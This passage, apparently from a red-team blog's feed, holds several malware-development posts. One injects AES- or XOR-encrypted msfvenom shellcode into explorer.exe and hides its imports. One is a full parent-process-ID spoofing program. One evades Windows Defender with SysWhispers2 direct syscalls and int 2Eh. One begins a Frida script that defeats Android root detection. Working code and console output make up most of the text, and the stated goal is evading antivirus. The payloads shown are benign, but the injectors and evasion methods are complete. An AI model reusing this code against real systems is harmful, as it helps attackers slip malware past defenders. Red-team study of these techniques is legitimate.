	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;

	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);

	HANDLE hProcess;
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

	PVOID baseAddress;
	baseAddress = VirtualAllocEx(hProcess, nullptr, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	WriteProcessMemory(hProcess, baseAddress, shellcode, shellcodeSize, nullptr);

	HANDLE hThread;
	hThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)baseAddress, nullptr, 0, nullptr);

	CloseHandle(hProcess);

	return 0;
}

Hiding Function Calls

Is there anything else that we can improve? Of course! If we analyze our binary, we can see that the functions we used (OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread and CloseHandle) are listed in the binary’s Import Address Table. This is a red flag since AVs look for a combination of these Windows APIs, which are commonly used for malicious purposes.

What we can do is remove this footprint by “hiding” these functions. And since we’re just noobs (again), we’ll use the open-source library JustasMasiulis/lazy_importer. Just like we did previously, simply import the file lazy_importer.hpp in our project and we’re good.

So here’s what the updated code looks like:

#include <Windows.h>
#include "include/aes.hpp"
#include "include/lazy_importer.hpp"

int main(int argc, char* argv[])
{
	// PID of explorer.exe
	DWORD pid = 5284;

	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23";
	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;

	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);

	HANDLE hProcess;
	hProcess = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, pid);

	PVOID baseAddress;
	baseAddress = LI_FN(VirtualAllocEx)(hProcess, nullptr, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	LI_FN(WriteProcessMemory)(hProcess, baseAddress, shellcode, shellcodeSize, nullptr);

	HANDLE hThread;
	hThread = LI_FN(CreateRemoteThread)(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)baseAddress, nullptr, 0, nullptr);

	LI_FN(CloseHandle)(hProcess);

	return 0;
}

And if we examine again the binary’s Import Address Table, the Windows APIs used are now gone.

Detection Rate

How did our malware do after what we have done? Looks like we got a good result!

For a simple and lazily-written malware, I’m surprised that a number of AV vendors failed to detect it.

Conclusion

That’s it for this post! The objective here is to show how to write malware quickly and lazily, so we didn’t bother having a perfect detection rate.

Before I end it, let’s all thank and appreciate the people who are dedicating their spare time writing and open-sourcing tools, as well as those who keep sharing their knowledge and research. And if you can, please support and sponsor their work.

Also, if your organization rely on open-source offensive tooling, you can start with Porchetta Industries, which is founded by Marcello Salvati (@byt3bl33d3r), to support the developers.

Picky PPID Spoofing

Mon, 22 Nov 2021 00:00:00 +0000

Parent Process ID (PPID) Spoofing is one of the techniques employed by malware authors to blend in the target system. This is done by making the malicious process look like it was spawned by another process. This helps evade detections that are based on anomalous parent-child process relationships.

When I started learning and implementing this technique, the first question that popped into my mind is what parent-child process relationship should I spoof.

Using Process Hacker, I noticed several instances of the RuntimeBroker.exe process running under the parent process svchost.exe. If this parent-child process relationship is common, then this is a good candidate for spoofing.

The Usual PPID Spoofing

To implement PPID Spoofing, the following code was used. The ggetPPID function is used to retrieve the PID of the parent process we want to spoof. In this case, we’re trying to get the PID of the svchost.exe process. The code then uses the WinAPI function CreateProcess to spawn a new process, which in our case is RuntimeBroker.exe.

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

DWORD getPPID(LPCWSTR processName) {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            if (!wcscmp(process.szExeFile, processName))
                break;
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

int main() {
    STARTUPINFOEX si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    SIZE_T attributeSize;

    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

    LPCWSTR parentProcess = L"svchost.exe";
    DWORD parentPID = getPPID(parentProcess);
    printf("[+] Spoofing %ws (PID: %u) as the parent process.\n", parentProcess, parentPID);

    HANDLE procHandle = OpenProcess(PROCESS_ALL_ACCESS, false, parentPID);
    if (!procHandle) {
        wchar_t errorMessage[256];
        FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), errorMessage, 255, NULL);
        printf("[!] Failed to get a handle with the following error: %ws\n", errorMessage);
        return -1;
    }
    printf("[+] Got a handle of 0x%p\n", procHandle);

    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &procHandle, sizeof(HANDLE), NULL, NULL);

    LPCWSTR spawnProcess = L"C:\\Windows\\System32\\RuntimeBroker.exe";
    CreateProcess(spawnProcess, NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (STARTUPINFO*)&si, &pi);
    printf("[+] Spawning %ws (PID: %u)\n", spawnProcess, pi.dwProcessId);

    return 0;
}

However, the code didn’t work as expected and we got an “Access is denied” error.

PS C:\Users\Meelo\Desktop> .\PickyPPIDSpoofing.exe
[+] Spoofing svchost.exe (PID: 860) as the parent process.
[!] Failed to get a handle with the following error: Access is denied.

Based on the output above, the code is trying to spoof svchost.exe with a PID of 860. And if we look at Process Hacker, this process has an integrity level of SYSTEM. Since we’re running as a standard user, with MEDIUM integrity level, we don’t have access to processes running with SYSTEM integrity level.

So how can we solve this? If we scroll down in Process Hacker, we can see some svchost.exe processes with an integrity level of MEDIUM.

Technically, this can be solved easily by hard-coding the PID of the parent process we’re targetting. In the image above, that would be 2740, 2824, or 4620. However, this is only applicable if we could get the PIDs of the processes running on the target system; which means we should already have access to our target.

This wouldn’t work if you’re implementing PPID Spoofing in your malware that will be used to gain initial access on your target.

The Picky PPID Spoofing

By analyzing the console output above, we can see that the getPPID function only returns the very first instance of svchost.exe (with a PID of 860), which has an integrity level of SYSTEM.

So to solve this issue, we have to add another function that would check the integrity level of each process. This is done using the following code, which uses the WinAPI function GetTokenInformation to retrieve information about the access token associated with a process. Then a comparison is made against well-known SIDs to identify the integrity level of the process.

LPCWSTR getIntegrityLevel(HANDLE hProcess) {
    HANDLE hToken;
    OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
    
    DWORD cbTokenIL = 0;
    PTOKEN_MANDATORY_LABEL pTokenIL = NULL;
    GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbTokenIL);
    pTokenIL = (TOKEN_MANDATORY_LABEL*)LocalAlloc(LPTR, cbTokenIL);
    GetTokenInformation(hToken, TokenIntegrityLevel, pTokenIL, cbTokenIL, &cbTokenIL);

    DWORD dwIntegrityLevel = *GetSidSubAuthority(pTokenIL->Label.Sid, 0);

    if (dwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) {
        return L"LOW";
    }
    else if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) {
        return L"MEDIUM";
    }
    else if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) {
        return L"HIGH";
    }
    else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID) {
        return L"SYSTEM";
    }
}

This getIntegrityLevel function is used within the getPPID function so it will only return the PID of the parent process with a specific integrity level, which is MEDIUM in our case.

DWORD getPPID(LPCWSTR processName) {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            if (!wcscmp(process.szExeFile, processName)) {
                HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, process.th32ProcessID);
                if (hProcess) {
                    LPCWSTR integrityLevel = NULL;
                    integrityLevel = getIntegrityLevel(hProcess);
                    if (!wcscmp(integrityLevel, L"MEDIUM")) {
                        break;
                    }
                }
            }
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

The Finally

Here’s what the final code looks like.

#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>

LPCWSTR getIntegrityLevel(HANDLE hProcess) {
    HANDLE hToken;
    OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
    
    DWORD cbTokenIL = 0;
    PTOKEN_MANDATORY_LABEL pTokenIL = NULL;
    GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbTokenIL);
    pTokenIL = (TOKEN_MANDATORY_LABEL*)LocalAlloc(LPTR, cbTokenIL);
    GetTokenInformation(hToken, TokenIntegrityLevel, pTokenIL, cbTokenIL, &cbTokenIL);

    DWORD dwIntegrityLevel = *GetSidSubAuthority(pTokenIL->Label.Sid, 0);

    if (dwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) {
        return L"LOW";
    }
    else if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) {
        return L"MEDIUM";
    }
    else if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) {
        return L"HIGH";
    }
    else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID) {
        return L"SYSTEM";
    }
}

DWORD getPPID(LPCWSTR processName) {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            if (!wcscmp(process.szExeFile, processName)) {
                HANDLE hProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, process.th32ProcessID);
                if (hProcess) {
                    LPCWSTR integrityLevel = NULL;
                    integrityLevel = getIntegrityLevel(hProcess);
                    if (!wcscmp(integrityLevel, L"MEDIUM")) {
                        break;
                    }
                }
            }
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

int main() {
    STARTUPINFOEX si = { sizeof(si) };
    PROCESS_INFORMATION pi;
    SIZE_T attributeSize;

    InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
    si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
    InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);

    LPCWSTR parentProcess = L"svchost.exe";
    DWORD dwParentPID = getPPID(parentProcess);
    printf("[+] Spoofing %ws (PID: %u) as the parent process.\n", parentProcess, dwParentPID);

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, dwParentPID);
    if (!hProcess) {
        wchar_t errorMessage[256];
        FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), errorMessage, 255, NULL);
        printf("[!] Failed to get a handle with the following error: %ws\n", errorMessage);
        return -1;
    }
    printf("[+] Got a handle of 0x%p\n", hProcess);

    UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(HANDLE), NULL, NULL);

    LPCWSTR spawnProcess = L"C:\\Windows\\System32\\RuntimeBroker.exe";
    CreateProcess(spawnProcess, NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (STARTUPINFO*)&si, &pi);
    printf("[+] Spawning %ws (PID: %u)\n", spawnProcess, pi.dwProcessId);

    return 0;
}

If we run this code, we got the following output.

PS C:\Users\Meelo\Desktop> .\PickyPPIDSpoofing.exe
[+] Spoofing svchost.exe (PID: 2740) as the parent process.
[+] Got a handle of 0x00000000000000AC
[+] Spawning C:\Windows\System32\RuntimeBroker.exe (PID: 772)

The main difference of this output from the previous one is the PID of svchost.exe has changed from 860 to 2740. We can also see that we’ve successfully obtained a process handle. As a result, RuntimeBroker.exe was spawned under the parent process of svchost.exe.

When You sysWhisper Loud Enough for AV to Hear You

Thu, 18 Nov 2021 00:00:00 +0000

When I started my journey in Malware Development and AV/EDR Evasion, most of the articles and blog posts I have read recommended the use of syscalls. By using syscalls, an adversary can bypass detection controls (such as user-land Hooking) by jumping into the kernel-mode. Evasion is possible in this case since AV/EDR systems can only monitor an application’s behaviour in user-mode. Another advantage is the fact that any Windows API functions used will not be referenced in the import table.

Implementing syscalls manually is challenging since the syscall numbers differ between OS versions, service packs and/or build numbers. Thankfully, SysWhisper2 exists and did the tedious work for us by maintaining a lookup table of known syscall numbers for different Windows versions, service packs and/or build numbers.

Since the use of syscalls is recommended, I implemented it right away in the malware I’m building! However, the result I got was different from what I expected. The worse thing is Windows Defender caught my malware. I never thought Defender would flag it since the use of syscalls is an “advanced” evasion technique and Defender can be “easily” bypassed, right?

Well, it turned out I was wrong!

The Baseline

The following code was used as the baseline in the malware I’m building. This code is an implementation of one of the most common process injection techniques.

#include <Windows.h>

int main(int argc, char* argv[])
{
	// PID of explorer.exe
	DWORD pid = 23452;

	// msfvenom --payload windows/x64/messagebox TEXT="Hello there." EXITFUNC=thread -f c
	unsigned char shellcode[] = "\x9c\x28\xe1\x84\x90\x9f\x9f\x9f\x88\xb0\x60\x60\x60\x21\x31\x21\x30\x32\x31\x36\x28\x51\xb2\x05\x28\xeb\x32\x00\x5e\x28\xeb\x32\x78\x5e\x28\xeb\x32\x40\x5e\x28\xeb\x12\x30\x5e\x28\x6f\xd7\x2a\x2a\x2d\x51\xa9\x28\x51\xa0\xcc\x5c\x01\x1c\x62\x4c\x40\x21\xa1\xa9\x6d\x21\x61\xa1\x82\x8d\x32\x21\x31\x5e\x28\xeb\x32\x40\x5e\xeb\x22\x5c\x28\x61\xb0\x5e\xeb\xe0\xe8\x60\x60\x60\x28\xe5\xa0\x14\x0f\x28\x61\xb0\x30\x5e\xeb\x28\x78\x5e\x24\xeb\x20\x40\x29\x61\xb0\x83\x3c\x28\x9f\xa9\x5e\x21\xeb\x54\xe8\x28\x61\xb6\x2d\x51\xa9\x28\x51\xa0\xcc\x21\xa1\xa9\x6d\x21\x61\xa1\x58\x80\x15\x91\x5e\x2c\x63\x2c\x44\x68\x25\x59\xb1\x15\xb6\x38\x5e\x24\xeb\x20\x44\x29\x61\xb0\x06\x5e\x21\xeb\x6c\x28\x5e\x24\xeb\x20\x7c\x29\x61\xb0\x5e\x21\xeb\x64\xe8\x28\x61\xb0\x21\x38\x21\x38\x3e\x39\x3a\x21\x38\x21\x39\x21\x3a\x28\xe3\x8c\x40\x21\x32\x9f\x80\x38\x21\x39\x3a\x5e\x28\xeb\x72\x89\x29\x9f\x9f\x9f\x3d\x29\xa7\xa1\x60\x60\x60\x60\x5e\x28\xed\xf5\x7a\x61\x60\x60\x5e\x2c\xed\xe5\x47\x61\x60\x60\x28\x51\xa9\x21\xda\x25\xe3\x36\x67\x9f\xb5\xdb\x80\x7d\x4a\x6a\x21\xda\xc6\xf5\xdd\xfd\x9f\xb5\x28\xe3\xa4\x48\x5c\x66\x1c\x6a\xe0\x9b\x80\x15\x65\xdb\x27\x73\x12\x0f\x0a\x60\x39\x21\xe9\xba\x9f\xb5\x28\x05\x0c\x0c\x0f\x40\x14\x08\x05\x12\x05\x4e\x60\x2d\x05\x13\x13\x01\x07\x05\x22\x0f\x18\x60";
	SIZE_T shellcodeSize = sizeof(shellcode);

	// XOR-decrypt the shellcode
	char key = '`';
	for (int i = 0; i < sizeof(shellcode) - 1; i++) {
		shellcode[i] = shellcode[i] ^ key;
	}

	HANDLE processHandle;
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

	PVOID baseAddress;
	baseAddress = VirtualAllocEx(processHandle, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	WriteProcessMemory(processHandle, baseAddress, shellcode, shellcodeSize, NULL);

	HANDLE threadHandle;
	threadHandle = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)baseAddress, NULL, 0, NULL);

	CloseHandle(processHandle);

	return 0;
}

The shellcode was XOR-encrypted since shellcodes generated by msfvenom are heavily signatured and easily detected.

The baseline code didn’t use any syscalls and as soon as it touched the disk, Defender caught it immediately.

This is not surprising since almost all AVs look for a combination of Windows APIs such as VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread, which are commonly used for malicious purposes.

Implementing SysWhisper

Before implementing the use of syscalls, it is necessary to first identity the native/syscall equivalent of the Windows API used in the baseline code. This is shown in the right column of the table below.

Windows API	Native API
OpenProcess	NtOpenProcess
VirtualAllocEx	NtAllocateVirtualMemory
WriteProcessMemory	NtWriteVirtualMemory
CreateRemoteThread	NtCreateThreadEx
CloseHandle	NtClose

And here’s the updated code which utilizes the use of syscalls.

#include <Windows.h>
#include "include/syscalls.h"

int main(int argc, char* argv[])
{
	// PID of explorer.exe
	DWORD pid = 23452;

	// msfvenom --payload windows/x64/messagebox TEXT="Hello there." EXITFUNC=thread -f c
	unsigned char shellcode[] = "\x9c\x28\xe1\x84\x90\x9f\x9f\x9f\x88\xb0\x60\x60\x60\x21\x31\x21\x30\x32\x31\x36\x28\x51\xb2\x05\x28\xeb\x32\x00\x5e\x28\xeb\x32\x78\x5e\x28\xeb\x32\x40\x5e\x28\xeb\x12\x30\x5e\x28\x6f\xd7\x2a\x2a\x2d\x51\xa9\x28\x51\xa0\xcc\x5c\x01\x1c\x62\x4c\x40\x21\xa1\xa9\x6d\x21\x61\xa1\x82\x8d\x32\x21\x31\x5e\x28\xeb\x32\x40\x5e\xeb\x22\x5c\x28\x61\xb0\x5e\xeb\xe0\xe8\x60\x60\x60\x28\xe5\xa0\x14\x0f\x28\x61\xb0\x30\x5e\xeb\x28\x78\x5e\x24\xeb\x20\x40\x29\x61\xb0\x83\x3c\x28\x9f\xa9\x5e\x21\xeb\x54\xe8\x28\x61\xb6\x2d\x51\xa9\x28\x51\xa0\xcc\x21\xa1\xa9\x6d\x21\x61\xa1\x58\x80\x15\x91\x5e\x2c\x63\x2c\x44\x68\x25\x59\xb1\x15\xb6\x38\x5e\x24\xeb\x20\x44\x29\x61\xb0\x06\x5e\x21\xeb\x6c\x28\x5e\x24\xeb\x20\x7c\x29\x61\xb0\x5e\x21\xeb\x64\xe8\x28\x61\xb0\x21\x38\x21\x38\x3e\x39\x3a\x21\x38\x21\x39\x21\x3a\x28\xe3\x8c\x40\x21\x32\x9f\x80\x38\x21\x39\x3a\x5e\x28\xeb\x72\x89\x29\x9f\x9f\x9f\x3d\x29\xa7\xa1\x60\x60\x60\x60\x5e\x28\xed\xf5\x7a\x61\x60\x60\x5e\x2c\xed\xe5\x47\x61\x60\x60\x28\x51\xa9\x21\xda\x25\xe3\x36\x67\x9f\xb5\xdb\x80\x7d\x4a\x6a\x21\xda\xc6\xf5\xdd\xfd\x9f\xb5\x28\xe3\xa4\x48\x5c\x66\x1c\x6a\xe0\x9b\x80\x15\x65\xdb\x27\x73\x12\x0f\x0a\x60\x39\x21\xe9\xba\x9f\xb5\x28\x05\x0c\x0c\x0f\x40\x14\x08\x05\x12\x05\x4e\x60\x2d\x05\x13\x13\x01\x07\x05\x22\x0f\x18\x60";
	SIZE_T shellcodeSize = sizeof(shellcode);

	// XOR-decrypt the shellcode
	char key = '`';
	for (int i = 0; i < sizeof(shellcode) - 1; i++) {
		shellcode[i] = shellcode[i] ^ key;
	}

	HANDLE processHandle;
	OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
	CLIENT_ID clientId = { (HANDLE)pid, NULL };
	NtOpenProcess(&processHandle, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);

	LPVOID baseAddress = NULL;
	NtAllocateVirtualMemory(processHandle, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	NtWriteVirtualMemory(processHandle, baseAddress, &shellcode, sizeof(shellcode), NULL);

	HANDLE threadHandle;
	NtCreateThreadEx(&threadHandle, GENERIC_EXECUTE, NULL, processHandle, baseAddress, NULL, FALSE, 0, 0, 0, NULL);

	NtClose(processHandle);

	return 0;
}

The above code was written with the help of SysWhisper2, which currently only supports x64. If you need x86, SysWhispers2_x86 can be used.

Now this should evade Defender, right? Unfortunately, no! As seen here, Defender caught it again as soon as it touched the disk.

What’s Offending Defender?

Good thing a tool like ThreatCheck exists to identify the offending bytes in our malware. However, running this tool against our malware didn’t provide any useful information.

PS C:\RedTeam\ThreatCheck\ThreatCheck\ThreatCheck\bin\Release> .\ThreatCheck.exe -f C:\RedTeam\EvadeDefender\x64\Release\EvadeDefender.exe
[+] Target file size: 12800 bytes
[+] Analyzing...
[x] File is malicious, but couldn't identify bad bytes

When I rerun the tool, it provided a different result. But still not useful.

PS C:\RedTeam\ThreatCheck\ThreatCheck\ThreatCheck\bin\Release> .\ThreatCheck.exe -f C:\RedTeam\EvadeDefender\x64\Release\EvadeDefender.exe
[+] Target file size: 12800 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0x3170
00000000   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000010   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000020   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000030   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000040   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000050   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000060   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000070   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000080   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000090   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
000000A0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
000000B0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
000000C0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
000000D0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
000000E0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
000000F0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················

Based on my observation, the tool provides different results when you run it several times. I’m not sure who’s to blame, the tool or the AV. Anyway, after running it several times, I still didn’t get anything useful.

After some Googling, I came across this blog post which mentions that the use of syscalls can be easily identified by searching for the syscall instruction. By doing a “Text search” for the string “syscall”, 5 occurrences were identified - which is right since there are 5 Native API functions used; NtOpenProcess, NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx, and NtClose.

So Windows Defender might be looking for the syscall instructions within the binary and that’s why it’s getting detected.

Now What?

One way to easily solve this issue and bypass Defender is to use the legacy instruction int 2Eh, which is used to make the switch from user-mode to kernel-mode.

This can be done easily by looking for any syscall instructions within the *.asm output file of SysWhisper2 and changing them to int 2Eh.

And as soon as it touched the disk, Defender failed to detect it. Even when the binary was executed, Defender still failed to detect it.

How about running it against multiple AVs? Turned out we have a good detection rate.

Are We Good Then?

It’s true that we have achieved our goal of evading AVs using direct syscalls. However, the method presented can be easily signatured. Instead of looking for syscall instructions within the binary, defenders could also look for the presence of int 2Eh instructions.

So what can we do about it as a red teamer? One way is to obfuscate the *.asm file by adding some “junk codes”, or using polymorphic codes.

Another way is to dynamically resolve the syscall stubs during run-time as presented in the following:

Note that while some of the methods mentioned could help in evading AVs/EDRs, especially bypassing the static signatures, I doubt it would work from the eyes of a seasoned incident responder or threat hunter.

Bypassing Android’s RootBeer Library (Part 2)

Mon, 15 Jun 2020 00:00:00 +0000

Introduction

In the first part of this post, I discussed one method to bypass RootBeer Library through code manipulation. However, installing and running a modified/patched application is not always possible. This happens when an application contains protections such as anti-tampering and/or integrity checks.

If patching an application is not working, then how can we change an application’s behaviour? In this post, I’ll discuss how to change an application’s process during runtime through dynamic instrumentation using Frida. The goal of this post is the same, and that is to bypass all the root-detection checks used by RootBeer library.

Simple Bypass

Let’s start by identifying the functions responsible for the root-detection checks used by RootBeer. As you can see below, the doInBackground() function of the RootCheckTask (com.scottyab.rootbeer.sample.CheckRootTask) class can be used to identify the different functions/checks used by the application.

The goal here is to “hook” these functions by injecting a JavaScript code into the application’s process, and change their return value to false.

As a simple example, let’s force RootBeer to give the “NOT ROOTED” result. This can be done with the following JS code to hook the isRooted() function and change its return value to false.

Java.perform(function(){
    // Create an instance of the RootBeer class
    var RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");
    
    // Hook the isRooted() function
    RootBeer.isRooted.overload().implementation = function(){
        // Change the return value to "false"
        return false
    };
})

Once the script has been saved, execute Frida and load the script.

Injecting the JS code into RootBeer’s process resulted into the following.

Full Bypass

If we want to bypass all the checks, we need to hook all the relevant functions and force their return value to false. The following quick and dirty script can be used to obtain the result that we’re after.

Java.perform(function(){
    console.log("\n\n===== RootBeer Detection Bypass with Frida =====\n");
    
    var RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");
    var Utils = Java.use("com.scottyab.rootbeer.util.Utils");    
    
    try {
        RootBeer.detectRootManagementApps.overload().implementation = function(){
            console.log("[+] detectRootManagementApps check bypassed!");
            return false;
        };
    } catch(err) {
        console.log("[-] Bypass attempt failed!");
    }
    
    try {
        RootBeer.detectPotentiallyDangerousApps.overload().implementation = function(){
            console.log("[+] detectPotentiallyDangerousApps check bypassed!");
            return false;
        };
    } catch(err) {
        console.log("[-] Bypass attempt failed!");
    }
    
    try {
        RootBeer.detectTestKeys.overload().implementation = function(){
            console.log("[+] detectTestKeys check bypassed!");
            return false;
        };
    } catch(err) {
        console.log("[-] Bypass attempt failed!");
    }
    
    try {
        RootBeer.checkForBusyBoxBinary.overload().implementation = function(){
            console.log("[+] checkForBusyBoxBinary check bypassed!");
            return false;
        };
    } catch(err) {
        console.log("[-] Bypass attempt failed!");
    }
    
    try {
        RootBeer.checkForSuBinary.overload().implementation = function(){
            console.log("[+] checkForSuBinary check bypassed!");
            return false;
        };
    } catch(err) {
        console.log("[-] Bypass attempt failed!");
    }
    
    try {
        RootBeer.checkSuExists.overload().implementation = function(){
            console.log("[+] checkSuExists check bypassed!");
            return false;
        };
    } catch(err) {
        console.log("[-] Bypass attempt failed!");
    }
    
    try {
        RootBeer.checkForRWPaths.overload().implementation = function(){
            console.log("[+] checkForRWPaths check bypassed!");
            return false;
        };
    } catch(err) {
        console.log("[-] Bypass attempt failed!");
    }
    
    try {
        RootBeer.checkForDangerousProps.overload().implementation = function(){
            console.log("[+] checkForDangerousProps check bypassed!");
            return false;
        };
    } catch(err) {
        console.log("[-] Bypass attempt failed!");
    }
    
    try {
        RootBeer.checkForRootNative.overload().implementation = function(){
